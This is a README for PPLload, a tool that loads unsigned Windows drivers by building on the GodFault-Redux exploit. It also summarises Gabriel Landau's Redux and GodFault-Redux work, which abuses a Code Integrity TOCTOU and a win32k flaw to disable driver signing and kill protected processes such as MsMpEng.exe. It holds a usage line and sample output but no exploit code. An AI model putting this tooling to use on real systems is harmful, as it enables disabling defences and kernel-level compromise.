PPLload

Load Unsigned Driver via GodFault-Redux Exploit.

This is a minimalist extension to Gabriel Landau's GodFault-Redux exploit which allows loading an unsigned driver on Windows 10 and Windows 11 <= 23H2.

Usage: PPLload <Driver>

The following modifications are of note:

• Removes persistent CSRSS server component, blesses calling thread only which exits when done
• Blessed thread disables DSE, normal thread loads driver, blessed thread restores DSE

Thanks to Gabriel Landau for GodFault-Redux.

Redux

By Gabriel Landau at Elastic Security.

A variant of the now-patched PPLFault exploit which bypasses Microsoft's mitigation for PPLFault.

Redux

Exploits a TOCTOU in Windows Code Integrity to achieve arbitrary code execution as WinTcb-Light then dump a specified process. For more details on the exploit, see our research:

GodFault-Redux

Exploits the same TOCTOU as Redux. However instead of dumping a process, it migrates to CSRSS and exploits a vulnerability in win32k!NtUserHardErrorControlCall from ANGRYORCHARD to decrement KTHREAD.PreviousMode from UserMode (1) to KernelMode (0). It proves "God Mode" access by killing a normally-unkillable process, such as MsMpEng.exe

Example Output

PS C:\Users\user\Desktop> (Get-Process MsMpEng).Id
844
PS C:\Users\user\Desktop> taskkill /f /pid 844
ERROR: The process with PID 844 could not be terminated.
